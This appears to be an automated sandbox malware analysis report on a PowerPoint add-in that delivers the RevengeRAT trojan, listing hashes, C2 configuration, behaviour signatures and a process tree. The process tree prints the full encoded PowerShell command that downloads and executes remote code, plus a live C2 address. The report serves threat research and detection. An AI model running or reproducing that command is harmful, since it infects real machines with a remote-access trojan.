Analysis

  • max time kernel
    122s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    07/08/2024, 02:04

General

  • Target

    be04b4d5018ac364eff7c93f1c211a1e03d59c49a6c2fecc406254b89716d4f4.ppam

  • Size

    44KB

  • MD5

    145d6e35667384492691a6126aafb7f9

  • SHA1

    c5ea7454057d62517ed3ffa842948b9d6b7ebdc8

  • SHA256

    be04b4d5018ac364eff7c93f1c211a1e03d59c49a6c2fecc406254b89716d4f4

  • SHA512

    f402a0ccbb4e91a71648e149f4b76f1b3d2e1c81a8d1cbf0f22fdf5763b1bbaf36bf916c441364e922c2343fb27189f7d653dd2db5c4767a2511ab464a5f676d

  • SSDEEP

    768:VP1rEyUexTfIrlTcpSsSs8I2PPHhbk0fBIhVmm2NTXNopBwseX4e1DeBE3dDLqM/:VtlUexzwor4PFkUBIhVgNTKpBYP1FXqe

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.173.171:5222

Mutex

8b39f6245ef24a80

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\be04b4d5018ac364eff7c93f1c211a1e03d59c49a6c2fecc406254b89716d4f4.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2288
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1368
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2748
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:1524

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1524-39-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1524-49-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1524-50-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1524-41-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1524-43-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1524-47-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1524-48-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1524-45-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2288-18-0x0000000004E00000-0x0000000004F00000-memory.dmp

      Filesize

      1024KB

    • memory/2288-12-0x0000000004E00000-0x0000000004F00000-memory.dmp

      Filesize

      1024KB

    • memory/2288-19-0x0000000004E00000-0x0000000004F00000-memory.dmp

      Filesize

      1024KB

    • memory/2288-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2288-25-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2288-26-0x00000000723AD000-0x00000000723B8000-memory.dmp

      Filesize

      44KB

    • memory/2288-20-0x0000000004E00000-0x0000000004F00000-memory.dmp

      Filesize

      1024KB

    • memory/2288-2-0x00000000723AD000-0x00000000723B8000-memory.dmp

      Filesize

      44KB

    • memory/2288-7-0x0000000004E00000-0x0000000004F00000-memory.dmp

      Filesize

      1024KB

    • memory/2288-8-0x0000000005AD0000-0x0000000005BD0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-9-0x0000000004E00000-0x0000000004F00000-memory.dmp

      Filesize

      1024KB

    • memory/2288-16-0x0000000004E00000-0x0000000004F00000-memory.dmp

      Filesize

      1024KB

    • memory/2288-0-0x000000002DE61000-0x000000002DE62000-memory.dmp

      Filesize

      4KB

    • memory/2748-32-0x0000000004570000-0x0000000004588000-memory.dmp

      Filesize

      96KB

    • memory/2748-27-0x0000000004570000-0x0000000004588000-memory.dmp

      Filesize

      96KB

    • memory/2748-38-0x0000000004570000-0x0000000004588000-memory.dmp

      Filesize

      96KB

    • memory/2748-28-0x0000000004570000-0x0000000004588000-memory.dmp

      Filesize

      96KB

    • memory/2748-30-0x0000000004570000-0x0000000004588000-memory.dmp

      Filesize

      96KB

    • memory/2748-34-0x0000000004570000-0x0000000004588000-memory.dmp

      Filesize

      96KB

    • memory/2748-36-0x0000000004570000-0x0000000004588000-memory.dmp

      Filesize

      96KB

    • memory/2748-23-0x0000000004F90000-0x0000000004FC8000-memory.dmp

      Filesize

      224KB